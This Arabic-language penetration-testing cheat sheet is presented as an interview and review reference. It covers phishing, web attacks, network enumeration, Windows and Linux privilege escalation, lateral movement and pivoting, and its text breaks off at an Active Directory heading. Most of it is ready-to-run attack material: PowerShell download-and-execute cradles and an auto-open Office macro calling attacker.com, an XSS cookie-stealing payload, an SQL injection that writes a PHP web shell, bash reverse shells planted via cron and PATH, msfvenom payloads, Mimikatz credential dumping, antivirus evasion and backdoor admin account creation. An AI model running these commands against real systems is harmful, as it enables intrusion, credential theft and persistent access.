مركز المعرفة الشامل لاختبار الاختراق
يقدّم هذا الدليل ملخصاً منظماً لأهم الموضوعات والمنهجيات والأوامر والأدوات وتقنيات الاستغلال المستخدمة في اختبار الاختراق الاحترافي. صُمم المحتوى ليكون مرجعاً تقنياً متكاملاً للمراجعة والاستعداد للمقابلات، مع الحفاظ على التسلسل العملي الذي يربط بين الاستطلاع، وتحليل الثغرات، والاستغلال، وما بعد الاستغلال، والتوثيق وإعداد التقارير.
#📋 جدول المحتويات
- هجمات جهة العميل (Client-Side Attacks)
- أمن تطبيقات الويب
- استطلاع الشبكات والحصر (Enumeration)
- تقنيات الاستغلال
- ما بعد الاستغلال
- تصعيد الصلاحيات في Windows
- تصعيد الصلاحيات في Linux
- الحركة الجانبية (Lateral Movement)
- هجمات Active Directory
- Pivoting والتنقل عبر الشبكات
- استغلال Buffer Overflow
- القيادة والتحكم (Command & Control)
#🎯 1. هجمات جهة العميل
#PowerShell لمختبري الاختراق
المفاهيم الأساسية:
- PowerShell لغة برمجة نصية قوية مدمجة داخل Windows.
- يمكن استخدامها في الاستطلاع، والاستغلال، وأنشطة ما بعد الاستغلال.
- قد تسمح بعض تقنياتها بتجاوز آليات الحماية التقليدية إذا كانت البيئة غير مضبوطة بصورة مناسبة.
الأوامر الأساسية:
# Basic PowerShell commands
Get-Help <cmdlet>
Get-Command
Get-Process
Get-Service
Get-NetTCPConnection
# Execution Policy Bypass
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass
# Download and execute
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')
Invoke-WebRequest -Uri http://attacker.com/file.exe -OutFile C:\temp\file.exe
#هجمات التصيد الاحتيالي (Phishing)
المنهجية:
- الاستطلاع — جمع معلومات عن الهدف.
- تطوير السيناريو (Pretext) — بناء قصة أو سياق يبدو مقنعاً.
- إنشاء الحمولة — إعداد مستند أو رابط يحتوي على المحتوى المطلوب للاختبار.
- صياغة البريد — إنشاء رسالة تصيد تبدو واقعية.
- تنفيذ الحملة — إرسال الرسائل إلى الأهداف ضمن النطاق المصرح.
- المراقبة — تتبع النتائج والحالات التي نجح فيها السيناريو.
الأدوات:
- GoPhish — إطار عمل مفتوح المصدر لإدارة حملات التصيد.
- SET (Social Engineering Toolkit) — مجموعة أدوات للتصيد والهندسة الاجتماعية.
- King Phisher — أداة لإدارة واختبار حملات التصيد.
#الاستغلال المعتمد على وحدات Macro
التقنيات:
- إنشاء وحدات Macro داخل Microsoft Office مثل Word وExcel.
- استخدام Obfuscation لتقليل قابلية اكتشاف الحمولة بواسطة أدوات الحماية.
- الاستفادة من الدوال
AutoOpen()وDocument_Open(). - استخدام
WScript.Shellلتشغيل أوامر النظام.
مثال على كود Macro:
Sub AutoOpen()
Shell "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
End Sub
#تهريب الملفات عبر HTML/JavaScript
المفهوم: تجاوز بعض قيود تنزيل الملفات عبر تضمين البيانات داخل HTML أو JavaScript وإعادة بنائها على جهة العميل.
التقنية:
- ترميز الحمولة باستخدام Base64.
- تضمينها داخل ملف HTML.
- استخدام JavaScript لإنشاء الملف وتنزيله على جهاز العميل.
مثال:
<script>
var file = atob('BASE64_ENCODED_PAYLOAD');
var blob = new Blob([file], {type: 'application/octet-stream'});
var url = URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = url;
a.download = 'document.exe';
a.click();
</script>
#إطار استغلال المتصفح BeEF
الهدف: استغلال نقاط الضعف في المتصفح أو ربط جلسة المتصفح بنظام تحكم لأغراض اختبارية.
الخصائص الرئيسية:
- ربط المتصفحات من خلال ثغرات XSS.
- تنفيذ أوامر تحكم عبر المتصفحات المرتبطة.
- جمع بصمة المتصفح (Browser Fingerprinting).
- تنفيذ سيناريوهات هندسة اجتماعية.
- إجراء استطلاع للشبكة من خلال متصفح الضحية داخل بيئة الاختبار.
الاستخدام الأساسي:
# Start BeEF
cd /opt/beef
./beef
# Hook script to inject
<script src="http://attacker-ip:3000/hook.js"></script>
#🌐 2. أمن تطبيقات الويب
#الاستطلاع والحصر
Burp Suite — التصفح السلبي (Passive Crawling):
- ضبط Proxy المتصفح على
127.0.0.1:8080. - تصفح التطبيق المستهدف بصورة طبيعية.
- مراجعة Site Map لاكتشاف نقاط النهاية والمسارات.
- تحليل HTTP History بحثاً عن طلبات مثيرة للاهتمام.
- استخدام Burp Scanner عندما يكون الفحص الآلي مسموحاً ومتاحاً.
ماسح الويب Nikto:
# Basic scan
nikto -h http://target.com
# Scan with SSL
nikto -h https://target.com -ssl
# Scan specific port
nikto -h target.com -p 8080
# Tuning options (specific tests)
nikto -h target.com -Tuning 6 # XSS tests
nikto -h target.com -Tuning 9 # SQL injection tests
# Save output
nikto -h target.com -o results.html -Format html
استطلاع خادم Apache:
- فحص الصفحات والمجلدات الافتراضية.
- تحديد إصدار Apache من الترويسات إن كان مكشوفاً.
- البحث عن صفحات
server-statusوserver-info. - مراجعة
robots.txtوsitemap.xml. - التحقق من أخطاء إعداد
.htaccess.
حصر المجلدات باستخدام Gobuster:
# Basic directory enumeration
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# With extensions
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
# With specific status codes
gobuster dir -u http://target.com -w wordlist.txt -s "200,204,301,302,307"
# DNS subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/dnsmap.txt
# Virtual host enumeration
gobuster vhost -u http://target.com -w /usr/share/wordlists/subdomains.txt
# With authentication
gobuster dir -u http://target.com -w wordlist.txt -U username -P password
#XSS (Cross-Site Scripting)
أنواع XSS:
- Reflected XSS: تنعكس الحمولة مباشرة داخل الاستجابة.
- Stored XSS: تُخزّن الحمولة في قاعدة البيانات ثم تُنفذ عند عرض المحتوى.
- DOM-Based XSS: تُنفذ الحمولة نتيجة معالجة غير آمنة داخل JavaScript على جهة العميل.
اختبار DOM-Based XSS:
- تحديد JavaScript على جهة العميل الذي يتعامل مع مدخلات المستخدم.
- البحث عن نقاط استهلاك خطرة (Dangerous Sinks) مثل
innerHTMLوdocument.writeوeval(). - الاختبار باستخدام:
#<img src=x onerror=alert(1)>.
حمولات XSS شائعة:
<!-- Basic alert -->
<script>alert('XSS')</script>
<!-- Cookie stealing -->
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
<!-- DOM-based -->
<img src=x onerror=alert(document.domain)>
<!-- Event handlers -->
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<!-- Bypass filters -->
<ScRiPt>alert('XSS')</ScRiPt>
<img src=x onerror="alert(String.fromCharCode(88,83,83))">
#حقن SQL
حقن SQL المعتمد على UNION:
- تحديد نقطة الحقن.
- تحديد عدد الأعمدة باستخدام
ORDER BY n. - تحديد الأعمدة القابلة للعرض عبر
UNION SELECT 1,2,3,.... - استخراج معلومات قاعدة البيانات.
- حصر الجداول والبيانات واستخراج ما هو ضمن نطاق الاختبار.
أوامر SQL Injection:
-- Detect number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
-- Union-based injection
' UNION SELECT 1,2,3--
' UNION SELECT null,null,null--
-- Database enumeration (MySQL)
' UNION SELECT 1,schema_name,3 FROM information_schema.schemata--
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='database_name'--
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
-- Data extraction
' UNION SELECT 1,username,password FROM users--
' UNION SELECT 1,CONCAT(username,':',password),3 FROM users--
-- Reading files (MySQL)
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--
-- Writing files (MySQL)
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--
الأتمتة باستخدام SQLMap:
# Basic injection test
sqlmap -u "http://target.com/page.php?id=1"
# With POST data
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=test"
# Enumerate databases
sqlmap -u "http://target.com/page.php?id=1" --dbs
# Enumerate tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
# Dump table data
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump
# OS shell
sqlmap -u "http://target.com/page.php?id=1" --os-shell
# Read file
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
#🔍 3. استطلاع الشبكات والحصر
#Nmap — فحص الشبكات
أهم أوامر Nmap:
# Basic host discovery
nmap -sn 192.168.1.0/24
# Quick scan
nmap -T4 -F target.com
# Full TCP port scan
nmap -p- target.com
# Service version detection
nmap -sV target.com
# OS detection
nmap -O target.com
# Aggressive scan
nmap -A target.com
# Script scanning
nmap -sC target.com
nmap --script=vuln target.com
# UDP scan
nmap -sU target.com
# Stealth SYN scan
nmap -sS target.com
# Specific ports
nmap -p 80,443,8080 target.com
nmap -p 1-1000 target.com
# Output formats
nmap -oN output.txt target.com # Normal
nmap -oX output.xml target.com # XML
nmap -oG output.grep target.com # Greppable
nmap -oA output target.com # All formats
# Timing templates
nmap -T0 # Paranoid (IDS evasion)
nmap -T1 # Sneaky
nmap -T2 # Polite
nmap -T3 # Normal (default)
nmap -T4 # Aggressive
nmap -T5 # Insane
# Evading firewalls
nmap -f target.com # Fragment packets
nmap -D RND:10 target.com # Decoy scan
nmap --source-port 53 target.com # Spoof source port
#حصر NetBIOS
أساسيات NetBIOS:
- يعمل NetBIOS عادة على المنافذ
137و138و139. - يوفر آليات لتسمية الأنظمة ومشاركة الموارد.
- قد يكشف أسماء الأجهزة وأسماء النطاقات ومعلومات عن المستخدمين.
أوامر حصر NetBIOS:
# nbtscan - NetBIOS scanner
nbtscan 192.168.1.0/24
nbtscan -r 192.168.1.0/24 # Verbose
# nmap NetBIOS scripts
nmap -sU -p 137 --script nbstat.nse target.com
nmap -p 139,445 --script smb-os-discovery target.com
# nmblookup
nmblookup -A target.com
# enum4linux
enum4linux -a target.com
# smbclient
smbclient -L //target -N # List shares without password
# Windows commands
nbtstat -A target-ip
net view \\target
#حصر SNMP
تحليل SNMP:
- يعمل بروتوكول SNMP (Simple Network Management Protocol) غالباً على UDP/161.
- تعمل Community Strings كآلية وصول، ومن القيم الافتراضية الشائعة
publicوprivate. - قد يكشف SNMP معلومات تفصيلية عن النظام، وإعدادات الشبكة، والعمليات الجارية.
أدوات وأوامر حصر SNMP:
# snmpwalk - Walk through MIB tree
snmpwalk -v2c -c public target.com
# Enumerate specific OIDs
snmpwalk -v2c -c public target.com 1.3.6.1.2.1.1 # System info
snmpwalk -v2c -c public target.com 1.3.6.1.2.1.25.4.2.1.2 # Running processes
snmpwalk -v2c -c public target.com 1.3.6.1.2.1.25.6.3.1.2 # Installed software
# onesixtyone - SNMP scanner
onesixtyone -c community.txt -i targets.txt
# snmp-check
snmp-check target.com -c public
# nmap SNMP scripts
nmap -sU -p 161 --script snmp-brute target.com
nmap -sU -p 161 --script snmp-info target.com
#💥 4. تقنيات الاستغلال
#استغلال Linux
منهجية الحصر عن بُعد:
- فحص المنافذ باستخدام Nmap.
- تحديد الخدمات وإصداراتها.
- البحث عن الثغرات المرتبطة بالإصدارات عبر SearchSploit والمصادر العامة.
- اختيار الاستغلال المناسب وتكييفه مع بيئة الاختبار.
- الحصول على موطئ قدم أولي (Initial Foothold) ضمن النطاق المصرح.
استغلالات Linux الشائعة:
# Searchsploit - Local exploit database
searchsploit apache 2.4.49
searchsploit -m 12345 # Mirror exploit locally
searchsploit -x 12345 # Examine exploit
# Exploiting services
# - SSH (port 22): Brute force, key leaks
# - FTP (port 21): Anonymous login, version exploits
# - SMB (ports 139, 445): EternalBlue, SMBGhost
# - Web services: Code injection, file upload
# Metasploit framework
msfconsole
search apache
use exploit/multi/http/apache_mod_cgi_bash_env_exec
show options
set RHOSTS target.com
set LHOST attacker-ip
exploit
#استغلال Windows
استغلال قاعدة بيانات MSSQL:
انتحال مستخدم للوصول إلى RCE:
- الاتصال بـ MSSQL باستخدام حساب محدود الصلاحيات.
- حصر صلاحيات الانتحال (Impersonation).
- انتحال مستخدم ذي صلاحيات أعلى عندما تسمح الإعدادات بذلك.
- تفعيل
xp_cmdshellإذا كانت الصلاحيات تتيح ذلك. - تنفيذ أوامر نظام ضمن بيئة الاختبار.
أوامر MSSQL:
-- Connect to MSSQL
mssqlclient.py username:password@target-ip -windows-auth
-- Check current user
SELECT SYSTEM_USER;
SELECT USER_NAME();
-- Check impersonation privileges
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
-- List users we can impersonate
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
-- Impersonate user
EXECUTE AS LOGIN = 'sa';
-- Check if we're sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Execute commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -c IEX(New-Object Net.WebClient).DownloadString("http://attacker/shell.ps1")';
#هجمات SMB Relay
منهجية هجوم DNS وSMB Relay:
- التواجد في موضع يسمح باعتراض أو التأثير في حركة المصادقة ضمن المختبر.
- التقاط محاولات مصادقة SMB أو تمريرها (Relay).
- استخدام Responder لتسميم LLMNR/NBT-NS في سيناريو الاختبار.
- تمرير المصادقة إلى النظام المستهدف.
- التحقق من أثر الصلاحيات المتاحة، مثل تنفيذ أوامر أو استخراج بيانات اعتماد، وفق نطاق الاختبار.
أوامر SMB Relay:
# Responder - Poison LLMNR, NBT-NS, MDNS
responder -I eth0 -wv
# ntlmrelayx - Relay SMB authentication
ntlmrelayx.py -tf targets.txt -smb2support
# With command execution
ntlmrelayx.py -tf targets.txt -smb2support -c "powershell IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"
# Dump SAM database
ntlmrelayx.py -tf targets.txt -smb2support --sam
# Create new user
ntlmrelayx.py -tf targets.txt -smb2support -c "net user hacker Password123! /add && net localgroup administrators hacker /add"
#🔐 5. ما بعد الاستغلال
#ما بعد الاستغلال في Windows
الأنشطة الرئيسية بعد الاستغلال:
- الحفاظ على الوصول ضمن مدة الاختبار المصرح بها.
- تصعيد الصلاحيات.
- جمع بيانات الاعتماد.
- تنفيذ الحركة الجانبية.
- اختبار سيناريوهات إخراج البيانات إذا كانت ضمن النطاق.
- تنظيف الآثار التشغيلية وفق قواعد الاشتباك.
كسر NTLM Hash:
# Dump hashes with Metasploit
hashdump
run post/windows/gather/smart_hashdump
# Dump with Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam
mimikatz # lsadump::secrets
# Crack with John the Ripper
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Crack with Hashcat
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
# Pass-the-Hash attacks (use hash directly)
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:hash //target cmd
تجاوز مضادات الفيروسات:
- ترميز الحمولات باستخدام
msfvenom. - استخدام أدوات تشفير أو تغليف مخصصة للحمولات.
- تطبيق Obfuscation على سكربتات PowerShell.
- استخدام تقنيات Process Injection في المختبرات المصرح بها.
- الاستفادة من الأدوات الثنائية الموجودة أصلاً في النظام (LOLBins).
تقنيات AV Bypass:
# Msfvenom encoding
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker-ip LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe
# Veil Framework
veil
use evasion
list
use 1 # Select evasion module
generate
# PowerShell obfuscation with Invoke-Obfuscation
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
set scriptpath payload.ps1
TOKEN
ALL
1
#⬆️ 6. تصعيد الصلاحيات في Windows
#الحصر من أجل تصعيد الصلاحيات
PrivescCheck — حصر آلي:
# Import and run PrivescCheck
powershell -ep bypass
Import-Module .\PrivescCheck.ps1
Invoke-PrivescCheck
# Generate HTML report
Invoke-PrivescCheck -Report PrivescCheck_$($env:COMPUTERNAME) -Format HTML
# Extended checks
Invoke-PrivescCheck -Extended
#مسارات شائعة لتصعيد الصلاحيات
1. كلمات مرور بنص واضح (Clear-text Passwords):
- البحث عن كلمات المرور داخل الملفات وRegistry والسكربتات.
- مراجعة ملفات الإعداد مثل
.xmlو.txtو.config. - مراجعة PowerShell History.
# Search for password files
dir /s *password*
findstr /si password *.txt *.xml *.config
# Check registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# PowerShell history location
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
2. ملفات التثبيت غير التفاعلي (Unattended Installation Files):
- البحث عن ملفات
unattend.xmlالتي قد تحتوي على بيانات اعتماد.
# Common locations
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\sysprep\Unattend.xml
C:\Windows\System32\sysprep\Panther\Unattend.xml
# Search for unattend files
dir /s C:\*unattend.xml
3. Windows Credential Manager:
# List stored credentials
cmdkey /list
# Use stored credentials
runas /savecred /user:DOMAIN\Admin cmd.exe
# Dump credentials
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
4. PowerShell History:
# View PowerShell history
Get-Content (Get-PSReadlineOption).HistorySavePath
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
5. الصلاحيات الضعيفة — Weak Service Permissions:
# Check service permissions with accesschk
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv Everyone * /accepteula
# Check specific service
sc qc ServiceName
accesschk.exe -ucqv ServiceName
# If we have SERVICE_CHANGE_CONFIG permission
sc config ServiceName binpath= "C:\path\to\malicious.exe"
sc stop ServiceName
sc start ServiceName
# Unquoted service path exploitation
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
6. استغلال Registry AutoRun:
# Check AutoRun registry keys
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Check permissions
accesschk.exe -wvu "C:\Path\To\AutoRun\Program.exe"
# If writable, replace with malicious binary
copy payload.exe "C:\Path\To\AutoRun\Program.exe"
7. Juicy Potato — تصعيد الصلاحيات من MSSQL أو حسابات الخدمات:
- يستغل صلاحية
SeImpersonatePrivilege. - ارتبط استخدامه تاريخياً بإصدارات Windows Server 2008 R2 حتى 2016.
# Check for SeImpersonatePrivilege
whoami /priv
# Execute JuicyPotato
JuicyPotato.exe -l 1337 -p C:\windows\system32\cmd.exe -a "/c C:\tools\nc.exe attacker-ip 4444 -e cmd.exe" -t *
# With CLSID specification
JuicyPotato.exe -l 1337 -p C:\windows\system32\cmd.exe -a "/c whoami > C:\temp\output.txt" -t * -c {CLSID}
8. تجاوز UAC باستخدام UACMe:
# UACMe - Multiple UAC bypass methods
Akagi64.exe 23 C:\path\to\payload.exe
# Common methods:
# Method 23: Token manipulation
# Method 33: CMSTPLUA COM interface
# Method 41: WOW64 logger
9. DLL Hijacking:
- قد يقوم التطبيق بتحميل DLL من مسار غير آمن.
- إذا كانت الصلاحيات تسمح بالكتابة في هذا المسار، فقد يتم استبدال DLL المتوقع بملف آخر داخل بيئة الاختبار.
# Find missing DLLs with Process Monitor
# Filter: Result is "NAME NOT FOUND", Path ends with ".dll"
# Generate malicious DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker-ip LPORT=4444 -f dll -o malicious.dll
# Place in writable location in PATH or application directory
copy malicious.dll C:\path\to\vulnerable\app\missing.dll
#🐧 7. تصعيد الصلاحيات في Linux
#حصر Linux PrivEsc
أوامر الحصر اليدوي:
# System information
uname -a
cat /etc/*-release
cat /proc/version
# User information
id
whoami
who
w
last
cat /etc/passwd
cat /etc/group
cat /etc/shadow # If readable
# Sudo permissions
sudo -l
# SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# SGID binaries
find / -perm -2000 -type f 2>/dev/null
# World-writable files
find / -writable -type f 2>/dev/null
find / -perm -222 -type f 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab
# Services and processes
ps aux
ps -ef
top
# Network connections
netstat -antup
ss -tuln
# Installed software
dpkg -l # Debian/Ubuntu
rpm -qa # RedHat/CentOS
#مسارات شائعة لتصعيد الصلاحيات في Linux
1. استغلال الخوادم المشتركة:
- قد يوجد عدة مستخدمين على النظام نفسه.
- التحقق من مفاتيح SSH المقروءة دون صلاحية مناسبة.
- مراجعة Bash History للمستخدمين الآخرين إذا كانت الصلاحيات تسمح بذلك.
- التحقق من الملفات القابلة للكتابة داخل مجلدات مستخدمين آخرين.
# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# Check bash history
cat /home/*/.bash_history
cat ~/.bash_history
# Find world-readable files in home directories
find /home -type f -perm -004 2>/dev/null
2. أهمية صلاحيات الملفات:
# Check /etc/passwd writability
ls -la /etc/passwd
# If writable, add root user
echo 'hacker:$6$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
# Check /etc/shadow readability
ls -la /etc/shadow
cat /etc/shadow # Copy hashes for cracking
# Crack shadow passwords
unshadow passwd shadow > unshadowed.txt
john unshadowed.txt
3. استغلال برامج SUID:
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Check GTFOBins for exploitation methods
# https://gtfobins.github.io/
# Common exploitable SUID binaries:
# - nmap (older versions)
# - vim
# - find
# - bash
# - less
# - more
# - nano
# Example: SUID find exploitation
find /home -exec /bin/bash -p \;
# Example: SUID vim exploitation
vim -c ':py import os; os.execl("/bin/bash", "bash", "-p")'
# Example: Custom SUID program with vulnerabilities
# Check for buffer overflows, command injection
4. استغلال إعدادات Sudo:
# Check sudo permissions
sudo -l
# Example: sudo vim
sudo vim -c ':!/bin/bash'
# Example: sudo find
sudo find /home -exec /bin/bash \;
# Example: sudo less
sudo less /etc/profile
!/bin/bash
# Example: sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'
# Example: sudo python
sudo python -c 'import pty;pty.spawn("/bin/bash")'
# Sudo version exploits
sudo --version
# Check for CVE-2019-14287, CVE-2021-3156 (Baron Samedit)
5. استغلال Cron Jobs:
# Check cron jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
# If cron job runs script we can modify
echo '#!/bin/bash' > /path/to/script.sh
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' >> /path/to/script.sh
chmod +x /path/to/script.sh
# Wait for cron to execute
6. Path Hijacking:
# Check current PATH
echo $PATH
# If SUID binary calls command without full path
# Create malicious version in writable PATH location
cd /tmp
echo '#!/bin/bash' > command
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' >> command
chmod +x command
export PATH=/tmp:$PATH
# Execute vulnerable SUID binary
/path/to/suid-binary
7. استغلال LD_PRELOAD:
# Check if LD_PRELOAD is preserved with sudo
sudo -l
# Look for: env_keep+=LD_PRELOAD
# Create malicious shared library
cat > shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
EOF
# Compile
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
# Execute with sudo
sudo LD_PRELOAD=/tmp/shell.so [program-we-can-sudo]
8. استغلالات Kernel:
# Check kernel version
uname -a
cat /proc/version
# Search for kernel exploits
searchsploit linux kernel [version]
# Common kernel exploits:
# - DirtyCOW (CVE-2016-5195)
# - DirtyPipe (CVE-2022-0847)
# - PwnKit (CVE-2021-4034)
# Compile and run exploit
gcc exploit.c -o exploit
./exploit
#↔︎️ 8. الحركة الجانبية (Lateral Movement)
#الحركة الجانبية في Windows
PSExec:
# Impacket psexec
psexec.py domain/user:password@target-ip
psexec.py -hashes :ntlmhash domain/user@target-ip
# Metasploit psexec
use exploit/windows/smb/psexec
set RHOSTS target-ip
set SMBUser username
set SMBPass password
exploit
SMBExec:
# Impacket smbexec
smbexec.py domain/user:password@target-ip
smbexec.py -hashes :ntlmhash domain/user@target-ip
WMIExec:
# Impacket wmiexec
wmiexec.py domain/user:password@target-ip
wmiexec.py -hashes :ntlmhash domain/user@target-ip
# Execute specific command
wmiexec.py domain/user:password@target-ip "whoami"
CrackMapExec:
# SMB enumeration
crackmapexec smb 192.168.1.0/24
# Credential testing
crackmapexec smb 192.168.1.0/24 -u user -p password
crackmapexec smb 192.168.1.0/24 -u user -H ntlmhash
# Execute commands
crackmapexec smb target-ip -u user -p password -x "whoami"
crackmapexec smb target-ip -u user -p password -X '$PSVersionTable'
# Dump SAM
crackmapexec smb target-ip -u user -p password --sam
# Dump LSA secrets
crackmapexec smb target-ip -u user -p password --lsa
# Pass-the-hash
crackmapexec smb 192.168.1.0/24 -u Administrator -H hash --local-auth
Evil-WinRM:
# Connect to WinRM
evil-winrm -i target-ip -u username -p password
# With hash
evil-winrm -i target-ip -u username -H ntlmhash
# Upload file
upload /local/path/file.exe C:\remote\path\file.exe
# Download file
download C:\remote\path\file.txt /local/path/file.txt
# Invoke PowerShell script
Invoke-Binary /local/path/script.ps1
# Execute commands
whoami
ipconfig
RDP (Remote Desktop Protocol):
# xfreerdp
xfreerdp /u:username /p:password /v:target-ip
# With hash (Restricted Admin mode)
xfreerdp /u:username /pth:ntlmhash /v:target-ip
# rdesktop
rdesktop -u username -p password target-ip
استخراج بيانات اعتماد RDCMan:
- يخزن RDCMan بيانات اعتماد RDP داخل ملفات
.rdg. - تكون بيانات الاعتماد مشفرة باستخدام DPAPI.
# Find RDCMan files
Get-ChildItem -Path C:\ -Filter *.rdg -Recurse -ErrorAction SilentlyContinue
# Decrypt with SharpDPAPI
SharpDPAPI.exe rdg /target:C:\Path\To\file.rdg
# Or use Mimikatz
mimikatz # dpapi::rdg /in:C:\Path\To\file.rdg
هجمات Pass-the-Hash:
# With Metasploit
use exploit/windows/smb/psexec
set RHOSTS target-ip
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:ntlmhash
exploit
# With Impacket
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ntlmhash Administrator@target-ip
wmiexec.py -hashes :ntlmhash Administrator@target-ip
# With CrackMapExec
crackmapexec smb target-ip -u Administrator -H ntlmhash -x "whoami"
#🔀 9. Pivoting والتنقل عبر الشبكات
#فهم Pivoting
مفهوم Pivoting:
- استخدام جهاز تم الوصول إليه كنقطة عبور للوصول إلى شبكة معزولة أو غير متاحة مباشرة.
- سيناريو شائع: جهاز داخل DMZ لديه اتصال بالشبكة الداخلية.
- من التقنيات المستخدمة: Port Forwarding وSOCKS Proxies والأنفاق (Tunneling).
#أنفاق SSH
Local Port Forwarding:
# Forward local port to remote target through pivot
ssh -L local-port:target-ip:target-port user@pivot-ip
# Example: Access internal RDP through SSH tunnel
ssh -L 3389:internal-target:3389 user@pivot-ip
rdesktop localhost:3389
Remote Port Forwarding:
# Forward remote port back to attacker
ssh -R remote-port:localhost:local-port user@pivot-ip
# Example: Expose attacker's service to pivot host
ssh -R 8080:localhost:80 user@pivot-ip
Dynamic Port Forwarding (SOCKS Proxy):
# Create SOCKS proxy through SSH
ssh -D 1080 user@pivot-ip
# Configure proxychains
# Edit /etc/proxychains.conf
# Add: socks4 127.0.0.1 1080
# Use with tools
proxychains nmap -sT -Pn internal-target
proxychains firefox
proxychains crackmapexec smb 10.10.10.0/24
#Pivoting باستخدام Metasploit
التوجيه داخل Metasploit:
# After getting meterpreter session on pivot host
meterpreter > run autoroute -s 10.10.10.0/24
# Or manually
meterpreter > background
msf > use post/multi/manage/autoroute
msf > set SESSION 1
msf > set SUBNET 10.10.10.0
msf > run
# View routes
msf > route print
# Now you can attack internal network through session
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run
SOCKS Proxy عبر Metasploit:
# Set up SOCKS proxy through meterpreter session
msf > use auxiliary/server/socks_proxy
msf > set VERSION 4a
msf > set SRVPORT 1080
msf > run -j
# Configure proxychains and use with external tools
proxychains nmap -sT -Pn 10.10.10.5
Port Forwarding باستخدام Meterpreter:
# Local port forward
meterpreter > portfwd add -l 3389 -p 3389 -r internal-target-ip
# Now connect to localhost:3389 to reach internal target
rdesktop localhost:3389
# List forwards
meterpreter > portfwd list
# Delete forward
meterpreter > portfwd delete -l 3389
#Chisel — أنفاق TCP/UDP سريعة
# On attacker machine (server)
./chisel server -p 8000 --reverse
# On pivot host (client)
./chisel client attacker-ip:8000 R:1080:socks
# Now use proxychains with SOCKS5 proxy on localhost:1080
proxychains nmap -sT -Pn internal-target
# Port forward specific service
./chisel client attacker-ip:8000 R:3389:internal-target:3389
#Ligolo-ng — Tunneling متقدم
# On attacker (proxy server)
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
# On pivot host (agent)
./agent -connect attacker-ip:11601 -ignore-cert
# In proxy console
session # Select session
ifconfig # View pivot host networks
start # Start tunnel
# Add route on attacker
sudo ip route add 10.10.10.0/24 dev ligolo
# Now directly access internal network
nmap 10.10.10.5
#Sshuttle — Proxy VPN شفاف
# Create VPN-like tunnel through SSH
sshuttle -r user@pivot-ip 10.10.10.0/24
# With DNS
sshuttle -r user@pivot-ip 10.10.10.0/24 --dns
# All traffic to 10.10.10.0/24 automatically routed through pivot
nmap 10.10.10.5 # Works transparently
#🏛️ 10. هجمات Active Directory
